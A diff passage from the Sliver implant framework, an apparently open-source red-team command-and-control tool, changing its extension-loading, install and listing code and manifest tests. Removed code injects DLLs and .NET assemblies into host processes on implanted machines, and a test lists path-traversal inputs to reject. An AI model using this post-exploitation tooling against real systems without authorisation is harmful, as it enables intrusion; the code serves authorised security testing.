-	if err != nil {
-		fmt.Printf(Warn+"%s", err)
-	} else if !output {
-		if exec.Status != 0 {
-			fmt.Printf(Warn+"Exited with status %d!\n", exec.Status)
-			if exec.Result != "" {
-				fmt.Printf(Info+"Output:\n%s\n", exec.Result)
-			}
-		} else {
-			fmt.Printf(Info+"Output:\n%s\n", exec.Result)
-		}
-	}
-}
@@ -0,0 +1,55 @@
+package exit
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2023  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+	"fmt"
+	"os"
+
+	"github.com/AlecAivazis/survey/v2"
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/commonpb"
+	"github.com/spf13/cobra"
+)
+
+// ExitCmd - Exit the console
+func ExitCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
+	fmt.Println("Exiting...")
+	if con.IsServer {
+		sessions, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{})
+		if err != nil {
+			os.Exit(1)
+		}
+		beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
+		if err != nil {
+			os.Exit(1)
+		}
+		if 0 < len(sessions.Sessions) || 0 < len(beacons.Beacons) {
+			con.Printf("There are %d active sessions and %d active beacons.\n", len(sessions.Sessions), len(beacons.Beacons))
+			confirm := false
+			prompt := &survey.Confirm{Message: "Are you sure you want to exit?"}
+			survey.AskOne(prompt, &confirm)
+			if !confirm {
+				return
+			}
+		}
+	}
+	os.Exit(0)
+}
@@ -1,331 +0,0 @@
-package command
-
-/*
-	Sliver Implant Framework
-	Copyright (C) 2019  Bishop Fox
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
-import (
-	"context"
-	"encoding/json"
-	"fmt"
-	"io/ioutil"
-	"os"
-	"path"
-	"path/filepath"
-	"strings"
-
-	consts "github.com/bishopfox/sliver/client/constants"
-	"github.com/bishopfox/sliver/client/help"
-	"github.com/bishopfox/sliver/client/spin"
-	"github.com/bishopfox/sliver/protobuf/rpcpb"
-	"github.com/bishopfox/sliver/protobuf/sliverpb"
-	"github.com/desertbit/grumble"
-)
-
-const (
-	windowsDefaultHostProc = `c:\windows\system32\notepad.exe`
-	linuxDefaultHostProc   = "/bin/bash"
-	macosDefaultHostProc   = "/Applications/Safari.app/Contents/MacOS/SafariForWebKitDevelopment"
-)
-
-var commandMap map[string]extension
-var defaultHostProc = map[string]string{
-	"windows": windowsDefaultHostProc,
-	"linux":   windowsDefaultHostProc,
-	"darwin":  macosDefaultHostProc,
-}
-
-type binFiles struct {
-	Ext64Path string `json:"x64"`
-	Ext32Path string `json:"x86"`
-}
-
-type extFile struct {
-	OS    string   `json:"os"`
-	Files binFiles `json:"files"`
-}
-
-type extensionCommand struct {
-	Name           string    `json:"name"`
-	Entrypoint     string    `json:"entrypoint"`
-	Help           string    `json:"help"`
-	LongHelp       string    `json:"longHelp"`
-	AllowArgs      bool      `json:"allowArgs"`
-	DefaultArgs    string    `json:"defaultArgs"`
-	ExtensionFiles []extFile `json:"extFiles"`
-	IsReflective   bool      `json:"isReflective"`
-	IsAssembly     bool      `json:"IsAssembly"`
-}
-
-func (ec *extensionCommand) getDefaultProcess(targetOS string) (proc string, err error) {
-	proc, ok := defaultHostProc[targetOS]
-	if !ok {
-		err = fmt.Errorf("no default process for %s target, please specify one", targetOS)
-	}
-	return
-}
-
-type extension struct {
-	Name     string             `json:"extensionName"`
-	Commands []extensionCommand `json:"extensionCommands"`
-	Path     string
-}
-
-func (e *extension) getFileForTarget(cmdName string, targetOS string, targetArch string) (filePath string, err error) {
-	for _, c := range e.Commands {
-		if cmdName == c.Name {
-			for _, ef := range c.ExtensionFiles {
-				if targetOS == ef.OS {
-					switch targetArch {
-					case "x86":
-						filePath = fmt.Sprintf("%s/%s", e.Path, ef.Files.Ext32Path)
-					case "x64":
-						filePath = fmt.Sprintf("%s/%s", e.Path, ef.Files.Ext64Path)
-					default:
-						filePath = fmt.Sprintf("%s/%s", e.Path, ef.Files.Ext64Path)
-					}
-				}
-			}
-
-		}
-	}
-	if filePath == "" {
-		err = fmt.Errorf("no extension file found for %s/%s", targetOS, targetArch)
-	}
-	return
-}
-
-func (e *extension) getCommandFromName(name string) (extCmd *extensionCommand, err error) {
-	for _, x := range e.Commands {
-		if x.Name == name {
-			extCmd = &x
-			return
-		}
-	}
-	err = fmt.Errorf("no extension command found for name %s", name)
-	return
-}
-
-func load(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
-
-	if len(ctx.Args) != 1 {
-		fmt.Printf(Warn + "Please provide an extension path\n")
-		return
-	}
-
-	// retrieve extension manifest
-	manifestPath := fmt.Sprintf("%s/%s", ctx.Args[0], "manifest.json")
-	jsonBytes, err := ioutil.ReadFile(manifestPath)
-	if err != nil {
-		fmt.Printf(Warn+"%v", err)
-	}
-	// parse it
-	ext := &extension{}
-	err = json.Unmarshal(jsonBytes, ext)
-	if err != nil {
-		fmt.Printf(Warn+"error loading extension: %v", err)
-		return
-	}
-	ext.Path = ctx.Args[0]
-	// for each extension command, add a new app command
-	for _, extCmd := range ext.Commands {
-		// do not add if the command already exists
-		if cmdExists(extCmd.Name, ctx.App) {
-			fmt.Printf(Warn+"%s command already exists\n", extCmd.Name)
-			return
-		}
-		fmt.Printf(Info+"Adding %s command: %s\n", extCmd.Name, extCmd.Help)
-
-		// Have to use a global map here, as passing the extCmd
-		// either by value or by ref fucks things up
-		commandMap[extCmd.Name] = *ext
-		helpMsg := fmt.Sprintf("[%s] %s", ext.Name, extCmd.Help)
-		ctx.App.AddCommand(&grumble.Command{
-			Name:      extCmd.Name,
-			Help:      helpMsg,
-			LongHelp:  help.FormatHelpTmpl(extCmd.LongHelp),
-			AllowArgs: extCmd.AllowArgs,
-			Run: func(extCtx *grumble.Context) error {
-				fmt.Println()
-				runExtensionCommand(extCtx, rpc)
-				fmt.Println()
-				return nil
-			},
-			Flags: func(f *grumble.Flags) {
-				if extCmd.IsAssembly {
-					f.String("m", "method", "", "Optional method (a method is required for a .NET DLL)")
-					f.String("c", "class", "", "Optional class name (required for .NET DLL)")
-					f.String("d", "app-domain", "", "AppDomain name to create for .NET assembly. Generated randomly if not set.")
-					f.String("a", "arch", "x84", "Assembly target architecture: x86, x64, x84 (x86+x64)")
-				}
-				f.String("p", "process", "", "Path to process to host the shared object")
-				f.Bool("s", "save", false, "Save output to disk")
-				f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
-			},
-			HelpGroup: consts.ExtensionHelpGroup,
-		})
-	}
-	fmt.Printf(Info+"%s extension has been loaded\n", ext.Name)
-}
-
-func runExtensionCommand(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
-	session := ActiveSession.Get()
-	if session == nil {
-		return
-	}
-	ext, ok := commandMap[ctx.Command.Name]
-	if !ok {
-		fmt.Printf(Warn+"No extension command found for `%s` command\n", ctx.Command.Name)
-		return
-	}
-
-	binPath, err := ext.getFileForTarget(ctx.Command.Name, session.GetOS(), session.GetArch())
-	if err != nil {
-		fmt.Printf(Warn+"Error: %v\n", err)
-		return
-	}
-
-	c, err := ext.getCommandFromName(ctx.Command.Name)
-	if err != nil {
-		fmt.Printf(Warn+"Error: %v\n", err)
-		return
-	}
-
-	var args string
-	if len(c.DefaultArgs) != 0 {
-		args = c.DefaultArgs
-	}
-	if ctx.Command.AllowArgs {
-		if len(ctx.Args) > 0 {
-			args = strings.Join(ctx.Args[0:], " ")
-		}
-	}
-
-	entryPoint := c.Entrypoint
-	processName := ctx.Flags.String("process")
-	if processName == "" {
-		processName, err = c.getDefaultProcess(session.GetOS())
-		if err != nil {
-			fmt.Printf(Warn+"Error: %v\n", err)
-			return
-		}
-	}
-	isDLL := false
-	if filepath.Ext(binPath) == ".dll" {
-		isDLL = true
-	}
-	binData, err := ioutil.ReadFile(binPath)
-	if err != nil {
-		fmt.Printf(Warn+"%s", err.Error())
-		return
-	}
-	var outFilePath *os.File
-	if ctx.Flags.Bool("save") {
-		outFile := path.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, session.GetHostname()))
-		outFilePath, err = ioutil.TempFile("", outFile)
-	}
-	if c.IsAssembly {
-		ctrl := make(chan bool)
-		msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, args)
-		go spin.Until(msg, ctrl)
-		executeAssemblyResp, err := rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
-			Request:   ActiveSession.Request(ctx),
-			IsDLL:     isDLL,
-			Process:   processName,
-			Arguments: args,
-			Assembly:  binData,
-			Arch:      ctx.Flags.String("arch"),
-			Method:    ctx.Flags.String("method"),
-			ClassName: ctx.Flags.String("class"),
-			AppDomain: ctx.Flags.String("app-domain"),
-		})
-		ctrl <- true
-		<-ctrl
-		if err != nil {
-			fmt.Printf(Warn+"Error: %v", err)
-			return
-		}
-		fmt.Printf(Info+"Output:\n%s", string(executeAssemblyResp.GetOutput()))
-		if outFilePath != nil {
-			outFilePath.Write(executeAssemblyResp.GetOutput())
-			fmt.Printf(Info+"Output saved to %s\n", outFilePath.Name())
-		}
-	} else if c.IsReflective {
-		ctrl := make(chan bool)
-		msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, args)
-		go spin.Until(msg, ctrl)
-		spawnDllResp, err := rpc.SpawnDll(context.Background(), &sliverpb.InvokeSpawnDllReq{
-			Request:     ActiveSession.Request(ctx),
-			Args:        strings.Trim(args, " "),
-			Data:        binData,
-			ProcessName: processName,
-			EntryPoint:  c.Entrypoint,
-			Kill:        true,
-		})
-		ctrl <- true
-		<-ctrl
-
-		if err != nil {
-			fmt.Printf(Warn+"Error: %v", err)
-			return
-		}
-
-		fmt.Printf(Info+"Output:\n%s", spawnDllResp.GetResult())
-		if outFilePath != nil {
-			outFilePath.Write([]byte(spawnDllResp.GetResult()))
-			fmt.Printf(Info+"Output saved to %s\n", outFilePath.Name())
-		}
-	} else {
-		ctrl := make(chan bool)
-		msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, args)
-		go spin.Until(msg, ctrl)
-		sideloadResp, err := rpc.Sideload(context.Background(), &sliverpb.SideloadReq{
-			Request:     ActiveSession.Request(ctx),
-			Args:        args,
-			Data:        binData,
-			EntryPoint:  entryPoint,
-			ProcessName: processName,
-			Kill:        true,
-		})
-		ctrl <- true
-		<-ctrl
-
-		if err != nil {
-			fmt.Printf(Warn+"Error: %v", err)
-			return
-		}
-
-		fmt.Printf(Info+"Output:\n%s", sideloadResp.GetResult())
-		if outFilePath != nil {
-			outFilePath.Write([]byte(sideloadResp.GetResult()))
-			fmt.Printf(Info+"Output saved to %s\n", outFilePath.Name())
-		}
-	}
-}
-
-func cmdExists(name string, app *grumble.App) bool {
-	for _, c := range app.Commands().All() {
-		if name == c.Name {
-			return true
-		}
-	}
-	return false
-}
-
-func init() {
-	commandMap = make(map[string]extension)
-}
@@ -0,0 +1,67 @@
+Extensions
+===========
+
+Allows to load and execute 3rd party extensions.
+
+Extensions directory structures can be arbitrary, however in the root of the directory or .tar.gz there
+must be a `extension.json` or a `alias.json` file. All paths are relative to the manifest/root directory,
+parent directories are not allowed. Only files listed in the manifest are copied, any other files will
+be ignored.
+
+```shell
+/path/to/extension/folder/
+├── extension.json
+└── windows
+│    └── extension.x86.dll
+│    └── extension.x64.dll
+└── linux
+│    └── extension.x86.so
+│    └── extension.x64.so
+└── darwin
+     └── extension.x86.dylib
+     └── extension.x64.dylib
+```
+
+Here's an example manifest (i.e., the `extension.json` or a `alias.json`):
+
+```json
+{
+    "name": "foo",
+    "version": "1.0.0",
+    "extension_author": "ac1d-burn",
+    "original_author": "zer0-cool",
+    "repo_url": "https://github.com/foo/bar",
+    "help": "Help for foo command",
+    "entrypoint": "RunFoo",
+    "init" :"NimMain",
+    "depends_on": "bar",
+    "files": [
+        {
+            "os": "windows",
+            "arch": "amd64",
+            "path": "extension.x64.o",
+        }
+    ],
+    "arguments": [
+        {"name": "pid", "type": "int", "desc": "pid", "optional": false},
+    ]
+}
+```
+
+The structure is the following one:
+
+- `name`: name of the extension, which will also be the name of the command in the sliver client
+- `help`: the documentation for the new command
+- `entrypoint`: the name of the exported function to call
+- `files`: a list of object pointing to the extensions files to load for each architectures and operating systems
+- `init`: the initialization function name (if relevant, can be omitted)
+- `arguments`: an optional list of objects (for DLLs), but mandatory for BOFs
+- `depends_on`: the name of an extension required by the current extension (won't load if the dependency is not loaded)
+
+The `type` of an argument can be one of the following:
+
+- `string`: regular ASCII string
+- `wstring`: string that will be UTF16 encoded
+- `int`: will be parsed as a 32 bit unsigned integer
+- `short`: will be parsed as a 16 bit unsigned integer
+- `file`: a string to a file path on the client side which content will be passed to the BOF
@@ -0,0 +1,129 @@
+package extensions
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2021  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"encoding/json"
+	"fmt"
+	"os"
+	"strings"
+
+	"github.com/jedib0t/go-pretty/v6/table"
+	"github.com/jedib0t/go-pretty/v6/text"
+	"github.com/rsteube/carapace"
+	"github.com/spf13/cobra"
+
+	"github.com/bishopfox/sliver/client/assets"
+	"github.com/bishopfox/sliver/client/command/settings"
+	"github.com/bishopfox/sliver/client/console"
+)
+
+// ExtensionsCmd - List information about installed extensions
+func ExtensionsCmd(cmd *cobra.Command, con *console.SliverConsoleClient) {
+	if 0 < len(getInstalledManifests()) {
+		PrintExtensions(con)
+	} else {
+		con.PrintInfof("No extensions installed, use the 'armory' command to automatically install some\n")
+	}
+}
+
+// PrintExtensions - Print a list of loaded extensions
+func PrintExtensions(con *console.SliverConsoleClient) {
+	tw := table.NewWriter()
+	tw.SetStyle(settings.GetTableStyle(con))
+	tw.AppendHeader(table.Row{
+		"Name",
+		"Command Name",
+		"Platforms",
+		"Version",
+		"Installed",
+		"Extension Author",
+		"Original Author",
+		"Repository",
+	})
+	tw.SortBy([]table.SortBy{
+		{Name: "Name", Mode: table.Asc},
+	})
+	tw.SetColumnConfigs([]table.ColumnConfig{
+		{Number: 5, Align: text.AlignCenter},
+	})
+
+	installedManifests := getInstalledManifests()
+	for _, extension := range loadedExtensions {
+		installed := ""
+		if _, ok := installedManifests[extension.CommandName]; ok {
+			installed = "✅"
+		}
+		tw.AppendRow(table.Row{
+			extension.Name,
+			extension.CommandName,
+			strings.Join(extensionPlatforms(extension), ",\n"),
+			extension.Version,
+			installed,
+			extension.ExtensionAuthor,
+			extension.OriginalAuthor,
+			extension.RepoURL,
+		})
+	}
+	con.Println(tw.Render())
+}
+
+func extensionPlatforms(extension *ExtensionManifest) []string {
+	platforms := map[string]string{}
+	for _, entry := range extension.Files {
+		platforms[fmt.Sprintf("%s/%s", entry.OS, entry.Arch)] = ""
+	}
+	keys := []string{}
+	for key := range platforms {
+		keys = append(keys, key)
+	}
+	return keys
+}
+
+func getInstalledManifests() map[string]*ExtensionManifest {
+	manifestPaths := assets.GetInstalledExtensionManifests()
+	installedManifests := map[string]*ExtensionManifest{}
+	for _, manifestPath := range manifestPaths {
+		data, err := os.ReadFile(manifestPath)
+		if err != nil {
+			continue
+		}
+		manifest := &ExtensionManifest{}
+		err = json.Unmarshal(data, manifest)
+		if err != nil {
+			continue
+		}
+		installedManifests[manifest.CommandName] = manifest
+	}
+	return installedManifests
+}
+
+// ExtensionsCommandNameCompleter - Completer for installed extensions command names
+func ExtensionsCommandNameCompleter(con *console.SliverConsoleClient) carapace.Action {
+	return carapace.ActionCallback(func(c carapace.Context) carapace.Action {
+		installedManifests := getInstalledManifests()
+		results := []string{}
+		for _, manifest := range installedManifests {
+			results = append(results, manifest.CommandName)
+			results = append(results, manifest.Help)
+		}
+
+		return carapace.ActionValuesDescribed(results...).Tag("extension commands")
+	})
+}
@@ -0,0 +1,244 @@
+package extensions
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2021  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"encoding/json"
+	"testing"
+)
+
+const (
+	sample1 = `{
+	"name": "test1",
+	"command_name": "test1",
+	"version": "1.0.0",
+	"extension_author": "test",
+	"original_author": "test",
+	"repo_url": "https://example.com/",
+	"help": "some help",
+	"files": [
+		{
+			"os": "windows",
+			"arch": "amd64",
+			"path": "foo/test1.dll"
+		}
+	]
+}`
+
+	sample2 = `{
+	"name": "test2",
+	"command_name": "test2",
+	"help": "some help",
+	"files": [
+		{
+			"os": "windows",
+			"arch": "amd64",
+			"path": "../../../../foo/test1.dll"
+		}
+	]
+}`
+)
+
+func TestParseExtensionManifest(t *testing.T) {
+	extManifest, err := ParseExtensionManifest([]byte(sample1))
+	if err != nil {
+		t.Fatalf("Error parsing extension manifest: %s", err)
+	}
+	if extManifest.Name != "test1" {
+		t.Errorf("Expected extension name 'test1', got '%s'", extManifest.Name)
+	}
+	if extManifest.CommandName != "test1" {
+		t.Errorf("Expected extension command name 'test1', got '%s'", extManifest.CommandName)
+	}
+	if extManifest.Version != "1.0.0" {
+		t.Errorf("Expected extension version '1.0.0', got '%s'", extManifest.Version)
+	}
+	if extManifest.ExtensionAuthor != "test" {
+		t.Errorf("Expected extension author 'test', got '%s'", extManifest.ExtensionAuthor)
+	}
+	if extManifest.OriginalAuthor != "test" {
+		t.Errorf("Expected original author 'test', got '%s'", extManifest.OriginalAuthor)
+	}
+	if extManifest.RepoURL != "https://example.com/" {
+		t.Errorf("Expected repo URL 'https://example.com/', got '%s'", extManifest.RepoURL)
+	}
+	if extManifest.Help != "some help" {
+		t.Errorf("Expected help 'some help', got '%s'", extManifest.Help)
+	}
+	if len(extManifest.Files) != 1 {
+		t.Errorf("Expected 1 file, got %d", len(extManifest.Files))
+	}
+	if extManifest.Files[0].OS != "windows" {
+		t.Errorf("Expected OS 'windows', got '%s'", extManifest.Files[0].OS)
+	}
+	if extManifest.Files[0].Arch != "amd64" {
+		t.Errorf("Expected Arch 'amd64', got '%s'", extManifest.Files[0].Arch)
+	}
+	if extManifest.Files[0].Path != "/foo/test1.dll" {
+		t.Errorf("Expected path '/foo/test1.dll', got '%s'", extManifest.Files[0].Path)
+	}
+
+	extManifest2, err := ParseExtensionManifest([]byte(sample2))
+	if err != nil {
+		t.Fatalf("Error parsing extension manifest (2): %s", err)
+	}
+	if extManifest2.Name != "test2" {
+		t.Errorf("Expected extension name 'test2', got '%s'", extManifest2.Name)
+	}
+	if extManifest2.CommandName != "test2" {
+		t.Errorf("Expected extension command name 'test2', got '%s'", extManifest2.CommandName)
+	}
+	if extManifest2.Help != "some help" {
+		t.Errorf("Expected help 'some help', got '%s'", extManifest2.Help)
+	}
+	if len(extManifest2.Files) != 1 {
+		t.Errorf("Expected 1 file, got %d", len(extManifest2.Files))
+	}
+	if extManifest2.Files[0].OS != "windows" {
+		t.Errorf("Expected OS 'windows', got '%s'", extManifest2.Files[0].OS)
+	}
+	if extManifest2.Files[0].Arch != "amd64" {
+		t.Errorf("Expected Arch 'amd64', got '%s'", extManifest2.Files[0].Arch)
+	}
+	if extManifest2.Files[0].Path != "/foo/test1.dll" {
+		t.Errorf("Expected path '/foo/test1.dll', got '%s'", extManifest2.Files[0].Path)
+	}
+}
+
+const (
+	sample3 = `{
+	"name": "test3",
+	"command_name": "test3",
+	"version": "1.0.0",
+	"extension_author": "test",
+	"original_author": "test",
+	"repo_url": "https://example.com/",
+	"help": "some help",
+	"files": [
+		{
+			"os": "windows",
+			"arch": "amd64",
+			"path": "foo/test1.dll"
+		}
+	]
+}`
+)
+
+func TestParseExtensionManifestErrors(t *testing.T) {
+	sample3, err := ParseExtensionManifest([]byte(sample3))
+	if err != nil {
+		t.Fatalf("Failed to parse initial sample3: %s", err)
+	}
+
+	missingName := (*sample3)
+	missingName.Name = ""
+	data, _ := json.Marshal(missingName)
+	_, err = ParseExtensionManifest(data)
+	if err == nil {
+		t.Fatalf("Expected missing name error, got none")
+	}
+
+	missingCmdName := (*sample3)
+	missingCmdName.CommandName = ""
+	data, _ = json.Marshal(missingCmdName)
+	_, err = ParseExtensionManifest(data)
+	if err == nil {
+		t.Fatalf("Expected missing command name error, got none")
+	}
+
+	missingHelp := (*sample3)
+	missingHelp.Help = ""
+	data, _ = json.Marshal(missingHelp)
+	_, err = ParseExtensionManifest(data)
+	if err == nil {
+		t.Fatalf("Expected missing help error, got none")
+	}
+
+	missingFiles := (*sample3)
+	missingFiles.Files = []*extensionFile{}
+	data, _ = json.Marshal(missingFiles)
+	_, err = ParseExtensionManifest(data)
+	if err == nil {
+		t.Fatalf("Expected missing files error, got none")
+	}
+
+	missingFileOS := (*sample3)
+	missingFileOS.Files = []*extensionFile{
+		{
+			OS:   "",
+			Arch: "amd64",
+			Path: "foo/test1.dll",
+		},
+	}
+	data, _ = json.Marshal(missingFileOS)
+	_, err = ParseExtensionManifest(data)
+	if err == nil {
+		t.Fatalf("Expected missing files.os error, got none")
+	}
+
+	missingFileArch := (*sample3)
+	missingFileArch.Files = []*extensionFile{
+		{
+			OS:   "windows",
+			Arch: "",
+			Path: "foo/test1.dll",
+		},
+	}
+	data, _ = json.Marshal(missingFileArch)
+	_, err = ParseExtensionManifest(data)
+	if err == nil {
+		t.Fatalf("Expected missing files.arch error, got none")
+	}
+
+	missingFilePath := (*sample3)
+	missingFilePath.Files = []*extensionFile{
+		{
+			OS:   "windows",
+			Arch: "amd64",
+			Path: "",
+		},
+	}
+	data, _ = json.Marshal(missingFilePath)
+	_, err = ParseExtensionManifest(data)
+	if err == nil {
+		t.Fatalf("Expected missing files.path error, got none")
+	}
+
+	invalidPaths := []string{
+		"../../../../../",
+		"/../../../../..",
+		".",
+		"/",
+	}
+	for _, invalidPath := range invalidPaths {
+		missingFilePath2 := (*sample3)
+		missingFilePath2.Files = []*extensionFile{
+			{
+				OS:   "windows",
+				Arch: "amd64",
+				Path: invalidPath,
+			},
+		}
+		data, _ = json.Marshal(missingFilePath2)
+		_, err = ParseExtensionManifest(data)
+		if err == nil {
+			t.Fatalf("Expected missing files.path error, got none")
+		}
+	}
+}
@@ -0,0 +1,174 @@
+package extensions
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2021  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"fmt"
+	"os"
+	"path/filepath"
+
+	"github.com/AlecAivazis/survey/v2"
+	"github.com/spf13/cobra"
+
+	"github.com/bishopfox/sliver/client/assets"
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/util"
+)
+
+// ExtensionsInstallCmd - Install an extension
+func ExtensionsInstallCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
+	extLocalPath := args[0]
+
+	fi, err := os.Stat(extLocalPath)
+	if os.IsNotExist(err) {
+		con.PrintErrorf("Extension path '%s' does not exist", extLocalPath)
+		return
+	}
+	if !fi.IsDir() {
+		InstallFromFilePath(extLocalPath, false, con)
+	} else {
+		installFromDir(extLocalPath, con)
+	}
+}
+
+// Install an extension from a directory
+func installFromDir(extLocalPath string, con *console.SliverConsoleClient) {
+	manifestData, err := os.ReadFile(filepath.Join(extLocalPath, ManifestFileName))
+	if err != nil {
+		con.PrintErrorf("Error reading %s: %s", ManifestFileName, err)
+		return
+	}
+	manifest, err := ParseExtensionManifest(manifestData)
+	if err != nil {
+		con.PrintErrorf("Error parsing %s: %s", ManifestFileName, err)
+		return
+	}
+	installPath := filepath.Join(assets.GetExtensionsDir(), filepath.Base(manifest.CommandName))
+	if _, err := os.Stat(installPath); !os.IsNotExist(err) {
+		con.PrintInfof("Extension '%s' already exists", manifest.CommandName)
+		confirm := false
+		prompt := &survey.Confirm{Message: "Overwrite current install?"}
+		survey.AskOne(prompt, &confirm)
+		if !confirm {
+			return
+		}
+		forceRemoveAll(installPath)
+	}
+
+	con.PrintInfof("Installing extension '%s' (%s) ... ", manifest.CommandName, manifest.Version)
+	err = os.MkdirAll(installPath, 0o700)
+	if err != nil {
+		con.PrintErrorf("Error creating extension directory: %s\n", err)
+		return
+	}
+	err = os.WriteFile(filepath.Join(installPath, ManifestFileName), manifestData, 0o600)
+	if err != nil {
+		con.PrintErrorf("Failed to write %s: %s\n", ManifestFileName, err)
+		forceRemoveAll(installPath)
+		return
+	}
+
+	for _, manifestFile := range manifest.Files {
+		if manifestFile.Path != "" {
+			src := filepath.Join(extLocalPath, util.ResolvePath(manifestFile.Path))
+			dst := filepath.Join(installPath, util.ResolvePath(manifestFile.Path))
+			err := util.CopyFile(src, dst)
+			if err != nil {
+				con.PrintErrorf("Error copying file '%s' -> '%s': %s\n", src, dst, err)
+				forceRemoveAll(installPath)
+				return
+			}
+		}
+	}
+}
+
+// InstallFromFilePath - Install an extension from a .tar.gz file
+func InstallFromFilePath(extLocalPath string, autoOverwrite bool, con *console.SliverConsoleClient) *string {
+	manifestData, err := util.ReadFileFromTarGz(extLocalPath, fmt.Sprintf("./%s", ManifestFileName))
+	if err != nil {
+		con.PrintErrorf("Failed to read %s from '%s': %s\n", ManifestFileName, extLocalPath, err)
+		return nil
+	}
+	manifest, err := ParseExtensionManifest(manifestData)
+	if err != nil {
+		con.PrintErrorf("Failed to parse %s: %s\n", ManifestFileName, err)
+		return nil
+	}
+	installPath := filepath.Join(assets.GetExtensionsDir(), filepath.Base(manifest.CommandName))
+	if _, err := os.Stat(installPath); !os.IsNotExist(err) {
+		if !autoOverwrite {
+			con.PrintInfof("Extension '%s' already exists\n", manifest.CommandName)
+			confirm := false
+			prompt := &survey.Confirm{Message: "Overwrite current install?"}
+			survey.AskOne(prompt, &confirm)
+			if !confirm {
+				return nil
+			}
+		}
+		forceRemoveAll(installPath)
+	}
+
+	con.PrintInfof("Installing extension '%s' (%s) ... ", manifest.CommandName, manifest.Version)
+	err = os.MkdirAll(installPath, 0o700)
+	if err != nil {
+		con.PrintErrorf("Failed to create extension directory: %s\n", err)
+		return nil
+	}
+	err = os.WriteFile(filepath.Join(installPath, ManifestFileName), manifestData, 0o600)
+	if err != nil {
+		con.PrintErrorf("Failed to write %s: %s\n", ManifestFileName, err)
+		forceRemoveAll(installPath)
+		return nil
+	}
+	for _, manifestFile := range manifest.Files {
+		if manifestFile.Path != "" {
+			err = installArtifact(extLocalPath, installPath, manifestFile.Path, con)
+			if err != nil {
+				con.PrintErrorf("Failed to install file: %s\n", err)
+				forceRemoveAll(installPath)
+				return nil
+			}
+		}
+	}
+	con.Printf("done!\n")
+	return &installPath
+}
+
+func installArtifact(extGzFilePath string, installPath string, artifactPath string, con *console.SliverConsoleClient) error {
+	data, err := util.ReadFileFromTarGz(extGzFilePath, "."+filepath.ToSlash(artifactPath))
+	if err != nil {
+		return err
+	}
+	if len(data) == 0 {
+		return fmt.Errorf("archive path '%s' is empty", "."+artifactPath)
+	}
+	localArtifactPath := filepath.Join(installPath, util.ResolvePath(artifactPath))
+	artifactDir := filepath.Dir(localArtifactPath)
+	if _, err := os.Stat(artifactDir); os.IsNotExist(err) {
+		err := os.MkdirAll(artifactDir, 0o700)
+		if err != nil {
+			return err
+		}
+	}
+	err = os.WriteFile(localArtifactPath, data, 0o600)
+	if err != nil {
+		return err
+	}
+	return nil
+}
@@ -0,0 +1,55 @@
+package extensions
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2021  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
